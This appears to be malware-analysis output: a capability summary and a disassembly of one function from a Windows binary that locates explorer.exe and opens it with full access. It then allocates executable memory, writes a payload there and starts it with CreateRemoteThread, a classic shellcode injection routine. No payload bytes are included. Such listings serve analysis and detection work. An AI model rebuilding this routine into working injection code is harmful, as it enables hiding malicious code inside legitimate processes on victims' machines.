Function at 0x140001270
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rdi, rcx
lea rcx, str.unsigned_char_payload_____n_
call fcn.140001070
mov rdx, qword [rdi]
xor ebp, ebp
mov ebx, ebp
cmp qword [rdi + 8], rdx
je 0x1400012e2
nop word [rax + rax]
movzx edx, byte [rdx + rbx]
lea rcx, str.x_02X
call fcn.140001070
mov rdx, qword [rdi]
inc rbx
mov rax, qword [rdi + 8]
sub rax, rdx
cmp rbx, rax
jb 0x1400012c0
lea rcx, [0x140003480]
call fcn.140001070
xor edx, edx
mov esi, ebp
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000136e
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000136e
cmp dword [rsp + 0x48], ebp
jne 0x140001332
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000135c
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001332
jmp 0x14000136e
mov esi, dword [rsp + 0x48]
lea rcx, str.vulnerable_process_found:_0x_lX_n
mov edx, esi
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400013a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.vulnerable_process_cant_be_found__0x_lX__n
jmp 0x140001496
mov r8, qword [rdi + 8]
xor edx, edx
sub r8, qword [rdi]
mov r9d, 0x3000
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, rbx
test rax, rax
je 0x1400013ff
mov r8, qword [rdi]
mov rdx, rax
mov r9, qword [rdi + 8]
sub r9, r8
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000140a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_writing_memory_to_process__0x_lX__n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000149d
mov qword [rsp + 0x30], rbp
mov r9, rsi
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x140001456
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_to_create_thread__0x_lX__n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
lea rcx, str.succesfully_started_thread_0x_lX_n
call fcn.140001070
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x140001489
mov rdx, rdi
lea rcx, str.succesfully_stopped_thread_0x_lX_n
call fcn.140001070
jmp 0x14000149d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.error_0x_lX_n
mov edx, eax
call fcn.140001070
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001d60
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret